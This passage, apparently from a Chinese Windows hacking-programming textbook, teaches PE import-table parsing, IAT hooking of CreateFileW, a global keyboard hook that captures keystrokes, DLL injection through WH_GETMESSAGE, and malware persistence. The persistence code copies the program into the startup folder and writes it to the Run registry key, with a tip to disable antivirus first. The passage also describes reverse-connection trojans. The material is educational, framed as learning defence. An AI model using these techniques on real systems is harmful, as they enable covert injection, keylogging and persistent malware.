 [image: figure_0167_0155]

 

  图5-19 C32中的“跳转到” 

 
单击“确定”按钮，来到了文件偏移为00023000的位置处，如图5-20所示。
 

 [image: figure_0167_0156]

 

  图5-20 导入表位置 

 
来到文件偏移的00023000处就是IMAGE_IMPORT_DESCRIPTOR的开始位置了。从图5-20中可以看出，该文件有2个IMAGE_IMPORT_DESCRIPTOR结构体。我们重点分析第一个IMAGE_IMPORT_DESCRIPTOR，同样关于其他几个相关的数据结构也只分析第一个。
 
在IMAGE_IMPORT_DESCRIPTOR中只看最后两个字段，分别是Name和FirstThunk。看一下第一个 IMAGE_IMPORT_DESCRIPTOR 的这两个字段的值分别是 00024338 和00024190。这两个值都是RVA值。
 
先来看一下00024338这个值，该值表示DLL名字符串的RVA，将其转换为文件偏移后值为00023338。转到00023338这个文件偏移处查看，如图5-21所示。
 

 [image: figure_0167_0157]

 

  图5-21 00023338处的内容 

 
从图 5-21 中可以看出，这个位置保存的内容是一个字符串，该字符串的内容为KERNEL32.dll，说明这个Name值的确保存的是DLL名字符串的RVA。
 
再来看一下00024190 这个值，该值表示IMAGE_THUNK_DATA的RVA。将该值转换为文件偏移后的值为00023190。转到00023190这个文件偏移处查看，如图5-22所示。
 

 [image: figure_0168_0158]

 

  图5-22 FirstThunk的值 

 
可以看到，000242E4是FristThunk的值。该值的最高位不为1，那么说该值是导入函数IMAGE_IMPORT_BY_NAME 的 RVA。将该值转换为文件偏移后的值为 000232E4。转到000232E4这个偏移处查看该处的内容，如图5-23所示。
 

 [image: figure_0168_0159]

 

  图5-23 IMAGE_IMPORT_BY_NAME处的内容 

 
从图5-23中可以看出，这里保存的是CloseHandle()这个函数名称的函数字符串。
 
在IMAGE_IMPORT_DESCRIPTOR中，有两个IMAGE_THUNK_DATA结构体，第一个为导入名字表，第二个为导入地址表。两个结构体在文件当中是没有差别的，但是当 PE 文件被装载内存后，第二个IMAGE_THUNK_DATA的值会被修正，该值为一个RVA，该RVA加上映像基址后，虚拟地址就保存了真正的导入函数的入口地址。
 

 
5.3.4 枚举导入地址表
 
从上面的分析过程中已经学习了 IMAGE_IMPORT_DESCRIPTOR这个结构体。那么，下面就来用代码实现枚举导入地址表的内容。我们知道一个 DLL 文件会对应一个IMAGE_IMPORT_DESCRIPTOR结构，而一个DLL文件中有多个函数，那么需要使用两个循环来进行枚举。外层循环来枚举所有的 DLL，而内层循环来枚举所导入的该 DLL的所有的函数名及函数地址。
 
代码如下：
 
DWORD dwNum = 0;
 
PIMAGE_IMPORT_DESCRIPTOR pImpDes = (PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToData
 
(lpBase, TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &dwNum);
 
PIMAGE_IMPORT_DESCRIPTOR pTmpImpDes = pImpDes;
 
while ( pTmpImpDes->Name )
 
{
 
printf("DllName = %s \r\n", (DWORD)lpBase + (DWORD)pTmpImpDes->Name);
 
PIMAGE_THUNK_DATAthunk=(PIMAGE_THUNK_DATA)(pTmpImpDes->FirstThunk+(DWORD)lpBase);
 
int n = 0;
 
while ( thunk->u1.Function )
 
{
 
if ( thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG )
 
{
 
printf("Ordinal = %08X \r\n", thunk->u1.Ordinal & 0xFFFF);
 
}
 
else
 
{
 
PIMAGE_IMPORT_BY_NAME pImName = (PIMAGE_IMPORT_BY_NAME)thunk->u1.Function;
 
printf("FuncName = %s \t \t", (DWORD)lpBase + pImName->Name);
 
printf("addr = %08x \r\n", (DWORD)((DWORD *)((DWORD)pNtHdr->OptionalHeader.
 
ImageBase + pTmpImpDes->FirstThunk) + n));
 
}
 
thunk ++;
 
n ++;
 
}
 
pTmpImpDes ++;
 
}
 
只要对于手动分析导入表能够理解的话，那么上面这段代码就不难理解了。希望大家可以理解上面的代码。对某个程序进行一个测试，看其输出结果，如图 5-24所示。
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  图5-24 测试程序的导入表信息 

 
用OD进行验证一下，对该测试程序的导入表信息的获取是否正确。用OD载入测试程序，然后在数据窗口中按下Ctrl+ G组合键，输入地址“424190”，然后在数据窗口上单击鼠标右键，在弹出的菜单中选择“长型”->“地址”命令，看数据窗口的内容，如图5-25所示。
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  图5-25 测试程序在OD中的导入表信息 

 
那么说明程序是正确的。关于导入表的知识就介绍到这里了。接下来，要介绍关于如何对IAT进行HOOK的内容了，请大家务必掌握该小节介绍的内容。
 

 
5.3.5 IAT HOOK介绍
 
在前面的内容中提到这样一个问题，在 IMAGE_IMPORT_DESCRIPTOR 中，有两个IMAGE_THUNK_DATA 结构体，第一个为导入名字表，第二个为导入地址表（IAT）。两个结构体在文件当中是没有差别的，但是当 PE 文件被装载内存后，第二个IMAGE_THUNK_DATA的值会被修正，该值为一个RVA，该RVA加上映像基址后，虚拟地址就保存了真正的导入函数的入口地址。
 
在这个描述当中我们知道，要对IAT进行HOOK大概分为3个步骤，首先是获得要HOOK函数的地址，第二步是找到该函数所保存的IAT中的地址，最后一步是把IAT中的地址修改为HOOK 函数的地址。这样就完成了IAT HOOK。也许这样的描述不是很清楚，那么下面就来举例说明一下。
 
比如要在 IAT 中 HOOK 系统模块 kernel32.dll 中的 ReadFile()函数，那么首先是获得ReadFile()函数的地址，第二步是找到ReadFile()所保存的IAT地址，最后一步是把IAT中的ReadFile()函数的地址修改为 HOOK 函数的地址。这样是不是就能够明白了呢？下面通过一个实例来介绍IAT HOOK 的具体过程和步骤。
 

 
5.3.6 IAT HOOK之CreateFileW()
 
上次对Explorer.exe 进程的CreateProcessW()函数进行了Inline Hook，这次对记事本进程的CreateFileW()函数进行IAT Hook。对CreateFileW()函数进行HOOK 后主要是管控记事本要打开的文件是否允许被打开，我们一步一步地来完成代码。
 
先建立一个 DLL 文件，然后定义好 DLL 文件的主函数，并定义一个HookNotePadProcessIAT()函数，在 DLL 被进程加载的时候，让 DLL 文件去调用HookNotePadProcessIAT()函数。代码如下：
 
BOOL APIENTRY DllMain( HANDLE hModule,
 
DWORD ul_reason_for_call,
 
LPVOID lpReserved
 
)
 
{
 
switch ( ul_reason_for_call )
 
{
 
case DLL_PROCESS_ATTACH:
 
{
 
//在DLL被加载时调用HookNotePadProcessIAT()
 
HookNotePadProcessIAT();
 
break;
 
}
 
}
 
return TRUE;
 
}
 
在遍历某程序的导入表时是通过文件映射来完成的，但是当一个可执行文件已经被Windows 装载器装载入内存后，便可以省去 CreateFile()、CreateFileMapping()等诸多繁琐的步骤，取而代之的是通过简单的GetModuleHandle()函数就可以得到EXE文件的模块映像地址，并能够很容易地获取DLL文件导入表的虚拟地址。代码如下：
 
// 获取记事本进程模块基址
 
HMODULE hModule = GetModuleHandleA(NULL);
 
// 定位PE结构
 
PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)hModule;
 
PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)((DWORD)hModule + pDosHdr->e_lfanew);
 
// 保存映像基址及导入表的RVA
 
DWORD dwImageBase = pNtHdr->OptionalHeader.ImageBase;
 
DWORD dwImpRva = pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].
 
VirtualAddress;
 
// 导入表的VA
 
PIMAGE_IMPORT_DESCRIPTOR pImgDes = (PIMAGE_IMPORT_DESCRIPTOR)(dwImageBase + dwImpRva);
 
在获得导入表的位置以后，要在导入表中找寻要HOOK函数的模块名，也就是说，要对CreateFileW()函数进行 HOOK，首先要找到该进程中是否有“kernel32.dll”这个模块存在。一般情况下，kernel32.dll模块一定会存在于进程的地址空间内，因为它是Win32子系统的基本模块。当然，我们并不是简单地要找到该模块是否存在，关键是要找到这个模块所对应的IMAGE_IMPORT_DESCRIPTOR 结构体，这样才能通过　kernel32.dll 所对应的IMAGE_IMPORT_DESCRIPTOR结构体去查找保存CreateFileW()函数的地址，并进行修改。看一下代码：
 
char szAddr[10] = { 0 };
 
PIMAGE_IMPORT_DESCRIPTOR pTmpImpDes = pImgDes;
 
BOOL bFound = FALSE;
 
// 查找欲HOOK函数的模块名
 
while ( pTmpImpDes->Name )
 
{
 
DWORD dwNameAddr = dwImageBase + pTmpImpDes->Name;
 
char szName[MAXBYTE] = { 0 };
 
strcpy(szName, (char*)dwNameAddr);
 
if ( strcmp(strlwr(szName), "kernel32.dll") == 0 )
 
{
 
bFound = TRUE;
 
break;
 
}
 
pTmpImpDes ++;
 
}
 
// 判断是否找到欲HOOK函数所在的函数名
 
if ( bFound == TRUE )
 
{
 
bFound = FALSE;
 
char szAddr[10] = { 0 };
 
// 逐个遍历该模块的IAT地址
 
PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)(pTmpImpDes->FirstThunk + dwImageBase);
 
while ( pThunk->u1.Function )
 
{
 
DWORD *pAddr = (DWORD *)&(pThunk->u1.Function);
 
// 比较是否与欲HOOK函数的地址相同
 
if ( *pAddr == dwFuncAddr )
 
{
 
bFound = TRUE;
 
dwCreateFileWAddr = (CREATEFILEW)*pAddr;
 
DWORD dwMyHookAddr = (DWORD)MyCreateFileW;
 
// 修改为Hook函数的地址
 
WriteProcessMemory(GetCurrentProcess(), (LPVOID)pAddr, &dwMyHookAddr, sizeof
 
(DWORD), NULL);
 
break;
 
}
 
pThunk ++;
 
}
 
}
 
对CreateFileW()函数进行HOOK，目的是为了对其打开的文件进行管控。由于这是演示程序，那么笔者在G盘下建立一个 test.txt文件，然后对其进行管控，也就是说，如果用记事本打开这个程序的话，可以选择性的是否允许打开，或者不允许打开。代码如下：
 
HANDLE
 
WINAPI
 
MyCreateFileW(
 
LPCWSTR lpFileName,
 
DWORD dwDesiredAccess,
 
DWORD dwShareMode,
 
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
 
DWORD dwCreationDisposition,
 
DWORD dwFlagsAndAttributes,
 
HANDLE hTemplateFile
 
)
 
{
 
WCHAR wFileName[MAX_PATH] = { 0 };
 
wcscpy(wFileName, lpFileName);
 
if ( wcscmp(wcslwr(wFileName), L"g:\\test.txt") == 0 )
 
{
 
if ( MessageBox(NULL, "是否打开文件", "提示", MB_YESNO) == IDYES )
 
{
 
return dwCreateFileWAddr(lpFileName,
 
dwDesiredAccess,
 
dwShareMode,
 
lpSecurityAttributes,
 
dwCreationDisposition,
 
dwFlagsAndAttributes,
 
hTemplateFile);
 
}
 
else
 
{
 
return INVALID_HANDLE_VALUE;
 
}
 
}
 
else
 
{
 
return dwCreateFileWAddr(lpFileName,
 
dwDesiredAccess,
 
dwShareMode,
 
lpSecurityAttributes,
 
dwCreationDisposition,
 
dwFlagsAndAttributes,
 
hTemplateFile);
 
}
 
}
 
我们 HOOK 的函数是 CreateFileW()，通过函数中的 W 可以看出，这个函数是一个UNICODE版本的字符串，也就是宽字符串。在CreateFileW()函数的参数中，lpFileName的类型是一个指向宽字符的指针变量。那么，就需要在操作该字符串时使用宽字符集的字符串函数，而不应该再使用操作 ANSI 字符串的函数。在代码中 wcscpy()、wcscmp()、wcslwr()都是针对宽字符集的字符串。WCHAR是定义宽字符集类型的关键字。L"g:\\test.txt"中的“L”表示这个字符串常量是一个宽字符型的。
 
打开一个记事本程序，然后将编译连接好的 DLL 文件注入到记事本进程中，当注入并HOOK 成功后会用对话框提示“Hook Successfully !”。然后用记事本打开G 盘下的test.txt 文件，会弹出对话框询问“是否打开文件”，单击“否”按钮，也就是拒绝打开该文件，如图5-26和图5-27所示。
 
在图5-27中单击“确定”按钮，然后可以看到记事本并没有打开G盘下的test.txt文件，这说明对G盘下的test.txt文件的管控还算是成功的（这个程序并不完善，希望大家可以自行将其完善）。
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  图5-26 询问是否打开 

 

 [image: figure_0173_0163]

 

  图5-27 选择“否”后的提示 

 
以上实例演示了如何对IAT进行HOOK。不过上面针对IAT进行HOOK的做法只能针对隐型调用。也就是说，可执行文件是直接调用了DLL的导出函数，用上面的代码可以对IAT进行HOOK。如果是显式调用的话，以上的例子就无法达到HOOK的作用了。当可执行文件直接通过调用LoadLibrary()函数和GetProcAddress()函数来使用某个函数的话，上面的 HOOK 代码是无能为力的。如何解决这样的问题，答案是要对 LoadLibrary()和GetProcAddress()函数也进行 HOOK，这样就可以避免对 DLL 的显式加载，和对函数的显式调用了。
 

 
5.4 Windows钩子函数
 

 
5.4.1 钩子原理
 
Windows下的应用程序大部分是基于消息模式机制的，一些CUI的程序不是基于消息的。Windows下的应用程序都有一个消息函数，根据不同的消息来完成不同的功能。Windows操作系统提供的钩子机制的作用是用来截获、监视系统中的消息的。Windows操作系统提供了很多不同种类的钩子，不同的钩子可以处理不同的消息。
 
钩子分为局部钩子和全局钩子。局部钩子是针对一个线程的，而全局钩子则是针对整个操作系统内基于消息机制的应用程序的。全局钩子需要使用 DLL 文件，DLL 文件里存放了钩子函数的代码。
 
在操作系统中安装了全局钩子以后，只要进程接收到可以发出钩子的消息后，全局钩子的DLL文件会被操作系统自动或强行地加载到该进程中。由此可见，设置消息钩子也是一种可以进行DLL注入的方法。
 

 
5.4.2 钩子函数
 
上面已经简单地讲述了Windows钩子的基本原理，现在来学习一下Windows下的钩子函数，主要有3个，分别是SetWindowsHookEx()、CallNextHookEx()和UnhookWindowsHookEx()。下面介绍这些函数的使用方法。
 
SetWindowsHookEx()函数的定义如下：
 
HHOOK SetWindowsHookEx(
 
int idHook,　　// hook type
 
HOOKPROC lpfn,　// hook procedure
 
HINSTANCE hMod,　// handle to application instance
 
DWORD dwThreadId　// thread identifier
 
);
 
该函数的返回值为一个钩子句柄。这个函数有4个参数，下面分别进行介绍。
 
（1）lpfn：该参数指定为Hook函数的地址。如果dwThreadId参数被赋值为0，或者被设置为一个其他进程中的线程ID，那么lpfn则属于DLL中的函数过程。如果dwThreadId为当前进程中的线程ID，那么lpfn可以是指向当前进程中的函数过程，也可以是属于DLL中的函数过程。
 
（2）hMod：该参数指定钩子函数所在模块的模块句柄。该模块句柄就是lpfn所在的模块的句柄。如果dwThreadId为当前进程中的线程ID，而且lpfn所指向的函数在当前进程中，那么hMod将被设置为NULL。
 
（3）dwThreadId：该参数设置为需要被挂钩的线程的线程ID号。如果设置为0，那么表示在所有的线程中挂钩（这里的所有的线程表示基于消息机制的所有的线程）。如果指定为具体的线程的ID号，那么表示要在指定的线程中进行挂钩。该参数影响上面两个参数的取值，该参数的取值决定了该钩子属于全局钩子，还是局部钩子。
 
（4）idHook：该参数表示钩子的类型。由于钩子的类型非常多，因此放在所有的参数后面进行介绍。钩子的类型非常多，下面介绍几个常用到的，也可能是大家比较关心的几个钩子类型。
 
1．WH_GETMESSAGE。安装该钩子的作用是监视被投递到消息队列中的消息。也就是当调用GetMessage()或PeekMessage()函数时，函数从程序的消息队列中获取一个消息后则调用该钩子。WH_GETMESSAGE钩子函数的定义如下：
 
LRESULT CALLBACK GetMsgProc(
 
int code,　　// hook code
 
WPARAM wParam,　// removal option
 
LPARAM lParam　// message
 
);
 
2．WH_MOUSE。安装该钩子的作用是监视鼠标消息。该钩子函数的定义如下：
 
LRESULT CALLBACK MouseProc(
 
int nCode,　　// hook code
 
WPARAM wParam,　// message identifier
 
LPARAM lParam　// mouse coordinates
 
);
 
3．WH_KEYBOARD。安装该钩子的作用是监视键盘消息。该钩子函数的定义如下：
 
LRESULT CALLBACK KeyboardProc(
 
int code,　　// hook code
 
WPARAM wParam,　// virtual-key code
 
LPARAM lParam　// keystroke-message information
 
);
 
4．WH_DEBUG。安装该钩子的作用是调试其他钩子的钩子函数。该钩子函数的定义如下：
 
LRESULT CALLBACK DebugProc(
 
int nCode,　　// hook code
 
WPARAM wParam,　// hook type
 
LPARAM lParam　// debugging information
 
);
 
其他的钩子类型请大家参考MSDN吧。从上面的这些钩子函数定义可以看出，每个钩子函数的定义都是一样的。是的，的确是这样的，每种类型的钩子监视、截获的消息不同，虽然它们的定义都是相同的，但是函数参数的意义是不同的。由于篇幅所限，每个函数的具体意义请参考MSDN，在MSDN上会给出最为详细的介绍。
 
接着介绍跟钩子有关的函数，UnhookWindowsHookEx()，该函数的定义如下：
 
BOOL UnhookWindowsHookEx(
 
HHOOK hhk　// handle to hook procedure
 
);
 
这个函数是用来移除先前用SetWindowsHookEx()安装的钩子。该参数只有一个参数，是钩子句柄。也就是用该函数用通过制定的钩子句柄来移除与其相对应的钩子。
 
在操作系统中，可以多次反复地使用SetWindowsHookEx()函数来安装钩子，而且可以安装多个同样类型的钩子。这样，钩子就会形成一条钩子链，最后安装的钩子会首先截获到消息，当该钩子对消息处理完毕以后，会选择返回，或者选择把消息继续传递下去。在通常情况下，为了消息可以传达到目标窗口，我们会选择将消息继续传递，使消息能继续传递的函数的定义如下：
 
LRESULT CallNextHookEx(
 
HHOOK hhk,　// handle to current hook
 
int nCode,　// hook code passed to hook procedure
 
WPARAM wParam,　// value passed to hook procedure
 
LPARAM lParam　// value passed to hook procedure
 
);
 
该函数有4个参数，第一个参数是钩子句柄，就是SetWindowsHookEx()函数的返回值。后面3个参数是钩子函数的参数，直接抄过来即可。例如：
 
HHOOK g_Hook = SetWindowsHook(……);
 
LRESULT CALLBACK GetMsgProc(
 
int code,　　// hook code
 
WPARAM wParam,　// removal option
 
LPARAM lParam　// message
 
)
 
{
 
return CallNextHookEx(g_Hook, code, wParam, lParam);
 
}
 

 
5.4.3 键盘钩子实例
 
下面来写一个可以截获键盘消息的钩子程序，这个程序的功能非常简单，就是把按下的键对应的字符显示出来。既然要截获键盘消息，那么肯定是截获系统范围内的键盘消息，因此需要安装全局钩子，这样就需要DLL文件的支持。先来新建一个DLL文件，在该DLL文件中，需要定义两个导出函数和两个全局变量，定义如下：
 
extern "C" __declspec(dllexport) VOID SetHookOn();
 
extern "C" __declspec(dllexport) VOID SetHookOff();
 
// 钩子句柄
 
HHOOK g_Hook = NULL;
 
// DLL 模块句柄
 
HINSTANCE g_Inst = NULL;
 
在DllMain()函数中，需要保存该DLL模块的句柄，以方便安装全局钩子。代码如下：
 
BOOL APIENTRY DllMain( HANDLE hModule,
 
DWORD ul_reason_for_call,
 
LPVOID lpReserved
 
)
 
{
 
// 保存DLL的模块句柄
 
g_Inst = (HINSTANCE)hModule;
 
return TRUE;
 
}
 
安装与卸载钩子的函数如下：
 
VOID SetHookOn()
 
{
 
// 安装钩子
 
g_Hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_Inst, 0);
 
}
 
VOID SetHookOff()
 
{
 
// 卸载钩子
 
UnhookWindowsHookEx(g_Hook);
 
}
 
对于Windows钩子来说，上面的这些步骤基本上都是必须有的，或者是差别不大的，关键在于钩子函数。这里是为了获取键盘按下的键，钩子函数如下：
 
// 钩子函数
 
LRESULT CALLBACK KeyboardProc(
 
int code,
 
WPARAM wParam,
 
LPARAM lParam
 
)
 
{
 
if ( code<0 )
 
{
 
return CallNextHookEx(g_Hook, code, wParam, lParam);
 
}
 
if ( code == HC_ACTION && lParam > 0 )
 
{
 
char szBuf[MAXBYTE]={0};
 
GetKeyNameText(lParam, szBuf, MAXBYTE);
 
MessageBox(NULL, szBuf, NULL, MB_OK);
 
}
 
return CallNextHookEx(g_Hook, code, wParam, lParam);
 
}
 
关于钩子函数，这里简单地解释一下，首先是进入钩子函数的第一个判断。
 
if ( code < 0 )
 
{
 
return CallNextHookEx(g_Hook, code, wParam, lParam);
 
}
 
如果code的值小于0，则必须调用CallNextHookEx()，将消息继续传递下去，不对该消息进行处理，并返回CallNextHookEx()函数的返回值。这一点是MSDN上要求这么做的。
 
if ( code == HC_ACTION && lParam > 0 )
 
{
 
char szBuf[MAXBYTE] = { 0 };
 
GetKeyNameText(lParam, szBuf, MAXBYTE);
 
MessageBox(NULL, szBuf, NULL, MB_OK);
 
}
 
如果code等于HC_ACTION，表示消息中包含按键消息，如果为WM_KEYDOWN，则显示按键对应的文本。
 
将该DLL文件编译连接。为了测试该DLL文件，新建一个MFC的Dialog工程，添加两个按钮，如图5-28所示。
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  图5-28 键盘钩子的测试程序 

 
分别对这两个按钮添加代码，如下：
 
void CHookTestDlg::OnButton1()
 
{
 
// TODO: Add your control notification handler code here
 
SetHookOn();
 
}
 
void CHookTestDlg::OnButton2()
 
{
 
// TODO: Add your control notification handler code here
 
SetHookOff();
 
}
 
直接调用DLL文件导出这两个函数，不过在使用之前要先对这两个函数进行声明，否则编译器因无法找到这两个函数的原型而导致连接失败。定义如下：
 
extern "C" VOID SetHookOn();
 
extern "C" VOID SetHookOff();
 
进行编译连接，提示出错，出错内容如下：
 
Linking...
 
HookTestDlg.obj : error LNK2001: unresolved external symbol _SetHookOn
 
HookTestDlg.obj : error LNK2001: unresolved external symbol _SetHookOff
 
Debug/HookTest.exe : fatal error LNK1120: 2 unresolved externals
 
Error executing link.exe.
 
HookTest.exe - 3 error(s), 0 warning(s)
 
从给出的提示可以看出是连接错误，是找不到外部的符号。将 DLL 编译连接后生成的DLL文件和LIB文件都复制到测试工程的目录下，并将LIB文件添加到工程中。在代码中添加如下语句：
 
#pragma comment (lib, KeyBoradHookTest)
 
再次连接，成功！
 
运行测试程序，并单击“HookOn”按钮，随便按下键盘上的任意一个键，会出现提示对话框，如图5-29所示。
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  图5-29 截获到的键盘输入 

 
从图5-29中可以看出，当我们按下键盘上的按键时，程序将捕获到我们的按键。到此，键盘钩子的例子程序就完成了。关于钩子更多的使用请大家自行思考研究。
 

 
5.4.4 使用钩子进行DLL注入
 
Windows 提供的钩子类型非常多，其中有一种类型的钩子非常实用，那就是WH_GETMESSAGE这个类型的钩子。它可以很方便地将DLL文件注入到所有的基于消息机制的程序中。
 
在有些情况下，需要DLL文件完成一些功能，但是完成功能时需要DLL在目标进程的空间当中。这时，就需要使用WH_GETMESSAGE这个消息把DLL注入到目标的进程中。代码非常简单，这里直接给出DLL文件的代码，代码如下：
 
#include <windows.h>
 
extern "C" __declspec(dllexport) VOID SetHookOn();
 
extern "C" __declspec(dllexport) VOID SetHookOff();
 
HHOOK g_HHook = NULL;
 
HINSTANCE g_hInst = NULL;
 
VOID DoSomeThing()
 
{
 
/*
 
……
 
自己要实现功能的代码
 
……
 
*/
 
}
 
BOOL WINAPI DllMain(
 
HINSTANCE hinstDLL,　// handle to the DLL module
 
DWORD fdwReason,　// reason for calling function
 
LPVOID lpvReserved　// reserved
 
)
 
{
 
switch ( fdwReason )
 
{
 
case DLL_PROCESS_ATTACH:
 
{
 
g_hInst = hinstDLL;
 
DoSomeThing();
 
break;
 
}
 
}
 
return TRUE;
 
}
 
LRESULT CALLBACK GetMsgProc(
 
int code,　　// hook code
 
WPARAM wParam,　// removal option
 
LPARAM lParam　// message
 
)
 
{
 
return CallNextHookEx(g_HHook, code, wParam, lParam);
 
}
 
VOID SetHookOn()
 
{
 
g_HHook = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, g_hInst, 0);
 
}
 
VOID SetHookOff()
 
{
 
UnhookWindowsHookEx(g_HHook);
 
}
 
整个代码就是这样，只要大家知道，在需要DLL大范围的注入到基于消息的进程中时可以使用这种方法。
 

 
5.5 总结
 
在 Windows 操作系统下挂钩的方法非常多，这里只介绍了 Inline Hook、IAT Hook 和Windows钩子等几种。这些都是较为常见的挂钩方法，希望大家可以掌握。
第6章 黑客编程剖析
 
通过前面5章学到的知识，本章将完成一个综合性的实例，以帮助我们复习和巩固前面所学知识。本章旨在为大家起到抛砖引玉的作用，希望大家可以在自己感兴趣的方面进行深入地学习和研究。
 

 
6.1 恶意程序剖析
 
恶意程序通常是指带有攻击意图的一段程序，主要包括木马、病毒和蠕虫等。恶意程序的编写是违反道德和法律的，我们这里只是进行学习。在前面的章节中说过，黑客编程和普通编程本质上都是编程，只是侧重点不同。我们为了学习编程，学习防御黑客编程攻击，就必须对恶意程序的编写要有所了解。
 

 
6.1.1 恶意程序的自启动
 
每当黑客们入侵了计算机以后，为了下次的登录都会安装一个后门或者木马。当计算机关机或重启时，所有的进程都将会被关闭。那么后门或者木马是如何在计算机重启以后仍然能继续运行呢？下面先来讨论如何实现恶意程序的自启动。
 
恶意程序的自启动的实现方法很多，下面只介绍几种常见的方法，至于其他方法大家可自己在网上搜集，然后通过编程实现即可。
 
一、启动文件夹
 
在 Windows 系统下，有一个文件夹是专门用来存放启动文件的。该文件夹的位置如图6-1所示。
 
在“启动”菜单处单击鼠标右键，然后选择“属性”命令，就可以看到启动文件夹在硬盘上的具体位置了，其位置如：“系统盘:\Documents and Settings\<用户名>\「开始」菜单\程序”。通常情况下<用户名>是当前用户的用户名，Windows 为每个用户创建了一个文件夹。如果想要所有的用户在启动时都运行某个程序，需要使用的文件夹为“All Users”。那么，也就是把需要启动的程序放到“系统盘:\Documents and Settings\All Users\「开始」菜单\程序”这个位置下。该程序的实现方法非常的简单，因为基本上在前面已经介绍过该程序的实现方法了。下面给出它的部分代码，代码如下：
 
GetSystemDirectory(szSysPath, MAX_PATH);
 
strncpy(szStartDirectory, szSysPath, 3);
 
strcat(szStartDirectory,
 
"Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\test.exe");
 
GetModuleFileName(NULL, szFileName, MAX_PATH);
 
CopyFile(szFileName, szStartDirectory, FALSE);
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  图6-1 启动文件夹的位置 

 
打开All Users下的启动目录，也就是上面的“系统盘:\Documents and Settings\All Users\「开始」菜单\程序”这个位置，然后编译连接并运行程序，可以看到在启动目录下多了一个“test.exe”的程序。
 
二、注册表启动
 
注册表启动也是一种很常见的启动方法，而且在注册表中可以用来进行启动的位置非常多。这里给大家介绍几个在注册表中可以完成自启动的注册表位置。
 
1．Run注册表键
 
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
 
HKLM \Software\Microsoft\Windows\CurrentVersion\Run
 
2．Boot Execute
 
HKLM\System\CurrentControlSet\Control\Session Manager\BootExecute
 
HKLM\System\CurrentControlSet\Control\Session Manager\SetupExecute
 
HKLM\System\CurrentControlSet\Control\Session Manager\Execute
 
HKLM\System\CurrentControlSet\Control\Session Manager\S0InitialCommand
 
3．Load注册表键
 
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load
 
当然，在注册表下绝对不只这么几个位置能够使程序跟随系统自动启动，这只是注册表下可以让程序随机启动位置的“冰山一角”。打开一个注册表项看一下，如图6-2所示。
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  图6-2 Run注册表键中的启动项 

 
同样，下面来完成一个通过写入注册表进行自启动的例子程序，其部分代码如下：
 
GetModuleFileName(NULL, szFileName, MAX_PATH);
 
HKEY hKey = NULL;
 
RegOpenKey(HKEY_LOCAL_MACHINE,
 
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
 
&hKey);
 
RegSetValueEx(hKey,
 
"test",
 
0,
 
REG_SZ,
 
(const unsigned char *)szFileName,
 
strlen(szFileName) + sizeof(char));
 
RegCloseKey(hKey);
 
将该代码编译连接并运行，然后打开注册表中写入的位置查看一下，会发现已经把它写入了注册表，当下次开机时，它就会随机启动了。
 
注意：在进行写注册表时需要停止杀毒软件及相关的系统防护软件，否则会有相应的提示。
 
三、其他启动方法
 
除了使用上面两种方法外，还有很多启动方法，比如文件关联、创建服务、ActiveX 启动、svchost.exe启动等。下面大概地介绍一下。
 
文件关联启动是通过修改注册表来完成的。比如，默认启动“文本文件”的程序是记事本程序，只要在注册表中把启动“文本文件”的关联程序改掉，也就是把记事本程序改掉，改成我们的木马程序，然后由木马去调用记事本来启动文本文件，这样，就达到了启动木马的效果。来看一下注册表，如图6-3所示。
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  图6-3 文本文件对应的文件关联 

 
文本文件对应的文件关联的注册表位置为 KHEY_CLASS_ROOT\txtfile\shell\open\command。
 
创建系统服务的方法是使用 CreateService()函数进行创建，然后通过服务来启动恶意程序。CreateService()函数的定义如下：
 
SC_HANDLE CreateService(
 
SC_HANDLE hSCManager,　　// handle to SCM database
 
LPCTSTR lpServiceName,　　// name of service to start
 
LPCTSTR lpDisplayName,　　// display name
 
DWORD dwDesiredAccess,　　// type of access to service
 
DWORD dwServiceType,　　// type of service
 
DWORD dwStartType,　　　// when to start service
 
DWORD dwErrorControl,　　// severity of service failure
 
LPCTSTR lpBinaryPathName,　// name of binary file
 
LPCTSTR lpLoadOrderGroup,　// name of load ordering group
 
LPDWORD lpdwTagId,　　　// tag identifier
 
LPCTSTR lpDependencies,　　// array of dependency names
 
LPCTSTR lpServiceStartName,　// account name
 
LPCTSTR lpPassword　　　// account password
 
);
 
该函数的参数虽然很多，但是使用起来并不复杂，大部分参数可以使用NULL来表示。该函数的参数不进行说明，请大家自行参考MSDN进行使用。
 
关于恶意程序的启动就介绍这么多，还有其他更多的方法，大家可以自行查找相关的资料进行学习。最后给大家介绍一款工具，这款工具可以查看电脑上的所有启动项。也许大家会想到 360、金山等一些工具，但是这里要介绍的这款工具是微软自己的工具，而且其功能相对来说非常的全面，该工具如图6-4所示。
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  图6-4 Autoruns工具界面 

 

 
6.1.2 木马的配置生成与反弹端口
 
由于黑色产业链的供需关系，木马作为商品在网络上有着大量的交易，因此木马必须具备可配置性。当然了，即使是免费的木马，为了可以让广大网友使用，木马也是一定可以进行配置的。
 
木马要进行配置后才可以生成真正的服务端，看一下灰鸽子的配置界面，如图6-5所示。
 
从灰鸽子的配置界面中可以看出，灰鸽子支持的可配置的内容非常多，这里只显示了其中的一部分而已。灰鸽子在进行了服务端配置后会生成服务器端程序。下面就来介绍一下如何对木马进行配置生成，并介绍一下如何进行反弹连接。
 
一、反弹连接介绍
 
早期的防火墙只对连入主机的连接进行阻拦，而不对连出的连接进行阻拦。也就是说，当有人试图连接主机时，防火墙会给出提示有人要连接主机。而当主机向外连接其他主机时，&nbsp;防火墙是不会给出提示的。在这样的情况下，反弹木马诞生了。
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  图6-5 灰鸽子的配置界面 

 
所谓的反弹木马是由攻击者监听一个端口，中木马的被攻击者主动向被攻击者发起连接。由于是被攻击者发起的连接，从而被攻击的防火墙不会给被攻击者任何安全提示。给出一个简单的示意图进行说明，如图6-6所示。
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  图6-6 反弹木马的示意图 

 
